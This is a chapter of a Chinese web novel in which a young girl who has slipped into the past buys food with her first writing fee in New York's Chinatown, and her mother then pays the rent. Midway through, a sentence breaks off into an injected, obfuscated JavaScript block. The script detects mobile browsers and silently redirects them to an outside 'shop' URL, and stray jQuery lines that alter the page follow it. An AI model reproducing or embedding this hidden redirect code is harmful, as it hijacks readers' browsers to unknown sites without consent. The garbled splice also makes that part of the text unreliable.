华文学校下课也早，之前的周六，下课后杨乐怡总会直奔茂比利街。
唐人街没有封闭式的大型菜市场，但茂比利街一带的联排楼底层开了很多商铺式财产，售卖新鲜蔬菜、鸡鸭鱼肉，有些店铺还卖干货和各种调料。[1]
因为经济拮据，杨乐怡穿来后没怎么买过鸡鸭猪肉，通常只买青菜，时不时加块豆腐，很偶尔的时候，才会买一两磅杂鱼。
买回来的杂鱼也不会直接烧，更多时候等着陈阿莲回来腌成咸鱼，时不时炒上那么一小碟咸鱼碎。
但今天放学后，杨乐怡先回了趟家。
她将刚拿到的稿费分成两部分，七十美元塞进被褥下面藏着，五美揣进口袋，带着妹妹去茂比利街买菜。
和平时一样，杨乐怡先挑青菜。
这个时期纽约本地的蔬菜种类不算丰富，可再少也有得选。
豆腐则不同，因为含有蛋白质，它被认为是“好东西”，所以不富裕的人家，常常会用豆腐填补肉类的空缺。
穿越后杨乐怡隔三差五吃豆腐，现在想到它都有点难受。
如今赚了稿费，她想可以犒劳一下自己，今天不吃豆腐，她要吃鱼吃肉。
挑好青菜，杨乐怡去卖水产的店铺，花九十美分买了条三磅左右的鳕鱼，准备煎着吃。
杨宝怡刚满九岁，却已经知道生活的艰辛，虽然馋鱼肉，但在姐姐挑鱼时咽着口水问：“姐姐，我们今天吃了鱼，明天还能吃上饭吗？”
“能。”
杨乐怡弯腰凑到妹妹耳边，压低声音道，“姐姐赚了钱，我们以后可以经常吃鱼吃肉。”
杨宝怡眼睛一亮。
杨乐怡直起身，问，“你想吃什么鱼？”
杨宝怡伸手一点，就选了鳕鱼。
买了青菜和肉，姐妹俩应该调头回去，但经过一家捎带着卖烧腊的档口时，正有一阵风吹过。
风带着烧腊的香味飘进姐妹俩的鼻腔，让她们再也走不动道。
烧腊价格不便宜，像这种主营生鲜的档口，烧腊价格已经是最低一档，但一只烧鸡也要也要一点五到一点八美元，而整鸡重量在两点五到三磅之间。
烧鸭价格更贵，同样的重量，一只至少要卖三美元。
就算是杨志明在世时，杨家也很少吃烧腊，通常是月末发工资，或者有人过生日，他才会带一只回来。
有时候想想，他们为了买房，这样省吃俭用实在不值得。
因为一场疾病来临，攒再多钱都成了空。
这个想法冒出来，杨乐怡心里就有了决定，她拉着妹妹走进档口，让老板切了一磅烤鸡打包带走。
……
“怎么……”
打开饭盒，看到里面铺着的鳕鱼块和码得整齐的白切鸡，陈阿莲疑惑抬头。
杨乐怡没有卖关子，说道：“我过稿了。”
陈阿莲还记得这件事，只是担心结果不如预期，见到女儿才没有直接开口问。这会得知过稿，脸上露出欣喜的表情：“真的？”
“真的，”杨乐怡肯定地说，“没有过稿，我哪有钱买烤鸡。”
虽然最近一个多月，杨乐怡表现得很靠谱，但陈阿莲没有心大到把家里所有的钱都交给她管的程度。
她每天早上出门前，会在客厅的斗柜里放几个硬币，让杨乐怡有钱买菜。
经过女儿提醒，她想起来，自己留下的钱确实不够买海鲜和烤鸡，便信了女儿的话，脸上喜悦更浓，眼睛甚至有些湿润：“真好，真好……”
虽然这会她们站在洗衣店的后门，巷子前后没有人，但隔墙有耳，杨乐怡没说拿了多少稿费，只说晚上再细聊，让陈阿莲放宽心就回去了。
晚上陈阿莲回来，杨乐怡拿出压在被褥底下的七十美元说：“主编说我写得好，定了千字两块半，我交了三万字，拿到了七十五块。”
“这么多！”
虽然前天晚上杨乐怡提起这事时，说过写完这篇小说能拿到两百美元稿费，但陈阿莲心里其实不太敢信。
她觉得能有一百，啊不，五十美元，就很厉害了。
却没想到杨乐怡才交了三万字的稿子，就拿到了七十五美元。
杨乐怡说：“这只是开始，主编说如果《阿珍的故事》刊登后反响好，就给我提千字。但就算不提也没关系，只要不腰斩，我就能拿到两百五十美元。”
“你已经很棒了。”陈阿莲喜极而泣。
杨乐怡抽出五十五美元交给陈阿莲：“这五十五块，妈你拿去交工资，这几天我会抓紧写，月底之前，我会再交最少三万字的稿子给文化社。加上妈你的工资，我们可以把这个月和下个月的房租交了。”
陈阿莲边听边点头：“嗯嗯。”
“剩下的钱，我想存下来，大头攒着备用，再拿出一部分钱改善生活。”
杨乐怡不打算瞒着陈阿莲自己挣了多少钱，因为她看出了陈阿莲不是那种会将儿女存款据为己有，甚至把未成年的孩子当成赚钱工具的母亲。
当然，更大的原因可能是她现在赚的少。
如果以后能赚到更多钱，几万，甚至几十万美元，她的想法可能会有所改变。
就像她虽然愿意告诉陈阿莲自己赚了多少，也愿意把钱拿出来补贴家用，却不想把所有收入都交给陈阿莲。
陈阿莲果然没有对杨乐怡的计划提出异议，这是女儿挣的钱，应该由女儿来支配。
她也没有推辞那五十五美元，因为她确实需要这笔钱。
陈阿莲接过钱，看着杨乐怡，有些怅然，又有些欣慰地说：“乐怡，你长大了。”
杨乐怡沉默。
原身确实长大了，但长大后的她身形消瘦，脸色苍白，看着痛苦又木然，明显过得不太好。
她几乎是逃避般将身体交给了，来自二十一世纪的灵魂杨怡。
杨怡以为，自己会穿越到七八十年代，过穷困潦倒，甚至可能要与酒瘾、药瘾作斗争的生活。
谁想睁开眼，她成了十二岁的杨乐怡。
可能因为穿到了年少的杨乐怡身上，她没有原身少年乃至青年时期的记忆，也不知道原身后来为什么会变成那样。
但不得不说，她是庆幸的。
虽然这个时期的杨家经济已经很紧张，但至少这句身体很年轻，看起来也还算健康，她不必真从泥沼里往上爬。
……
次日是周日，陈阿莲休息。
母女三人起得比平时要晚，但早饭吃得比平时更丰盛，难得去外面买了豆花和油条。
在杨乐怡穿越前，油条算不得什么稀罕食物，虽然早餐市场的油条快被预制攻占，但想吃现炸的油条，只要愿意花时间去找，总能吃到。
她没馋过这东西。
可现在，她快被手里的油条香哭了，一口咬下去，焦酥的油条表面在她口腔“咔嚓”作响，暄软的内里裹着油香在口腔里晕染开。
杨乐怡忍不住感慨：“真好吃。”
“真好吃！”杨宝怡发出同样的感叹。
然后姐妹俩对视一眼，纷纷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349238|199574||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑开。
陈阿莲看在眼里，脸上笑意更温柔，心里又有些歉疚，是她做得不够好，才会让两个女儿跟着吃苦。
发现陈阿莲情绪低落下去，杨乐怡边吃边开口：“妈。”
“嗯？”
“我们明天吃肠粉好不好？我想吃猪肉肠。”
吃得脸颊鼓起的杨宝怡闻言，连忙跟着附和：“我也想吃肠粉。”
陈阿莲顾不上难过，笑着说：“好，明天我们吃肠粉。”
吃过早饭，陈阿莲便去隔壁敲响了房东家的门。
虽然兰姐下的最后通牒是月底，但杨乐怡认为这钱早交早好，兰姐给了便利，她们总要展现出诚意。
而且拖到月底，要是兰姐以为她们没钱续租，提前找了新的住户，到时候她们搬不搬也是问题。
开门看到陈阿莲，兰姐有些惊讶，等知道她是来交租的，更惊讶了：“你找朋友借了钱？”
问这话时，兰姐心里谈不上高兴，甚至有些担忧。
陈阿莲和杨志明结婚后才来到纽约，在唐人街没什么亲人，虽然这时候华人挺团结，没有老乡坑老乡的说法。
可谁家的钱都不是大风刮来的，大家都把钱看得很紧。
如果陈阿莲的工资再高些，或者杨乐怡的年纪再大一些，马上就能进工厂上班，一时遇到困难，大家可能会帮。
但杨家这情况，今天借了钱，不知何年何月才能还上，愿意搭把手的真不错，救急不救穷嘛。
她担心，陈阿莲借的这笔钱有利息。
也许没到高利贷的程度，但利息肯定不会太低，还款期限也不会太长……
兰姐心思一动：“你打算让乐怡毕业就出来打工？”
陈阿莲先是一愣，回过神来迅速否认：“没有的事。”
“那你哪来的钱？你家这情况，一般人不会随便借钱给你。”兰姐想劝陈阿莲不要犯糊涂，就算乐怡毕业不准备继续读书，中间还有一年。
她借到钱付了上个月的房租，可这个月，下个月，下下个月呢？
她们总不能一直这么借钱过日子，真这样，孩子迟早要走弯路。
不如早点换个租金便宜的房子，也许没那么安全，但小心一点，日子总能过下去。比这样债滚债，滚到再也还不起要好。
陈阿莲知道兰姐是好心，不觉得她这话难听，解释说：“乐怡写了篇小说，投稿中了，这是稿费。”
“稿费？”
兰姐愣住，她日子过得虽然不错，但文化程度并不高，平时报纸都不看，稿费这种东西在她的认知外。
却也不是完全不懂，听完陈阿莲的解释，她感慨说道：“你生了个好女儿。”
陈阿莲骄傲地说：“是，有乐怡是我的福气。”
感慨归感慨，兰姐没有忘记最要紧的：“这是上个月的房租，这个月的呢？到月底你能交上来吗？下个月初又要交房租了。”
“能，乐怡写的是长篇，月底还能得一笔稿费，到时候我把两个月的房租一起送过来。”
兰姐放心了，又问杨乐怡投的是哪家报纸杂志，什么时候刊登出来。
这次陈阿莲回答得没那么痛快，虽然她没有那么害怕身边人发现，女儿写的小说原型是她，甚至这两天想起来还有点兴奋。
可她还记得杨乐怡的话，闷声才能发大财，她们可以告诉别人有这个收入来源，以免有人乱揣测嚼舌根，但宣扬得人尽皆知就没什么必要了。
陈阿莲含糊说不是什么大报纸，就找借口离开了。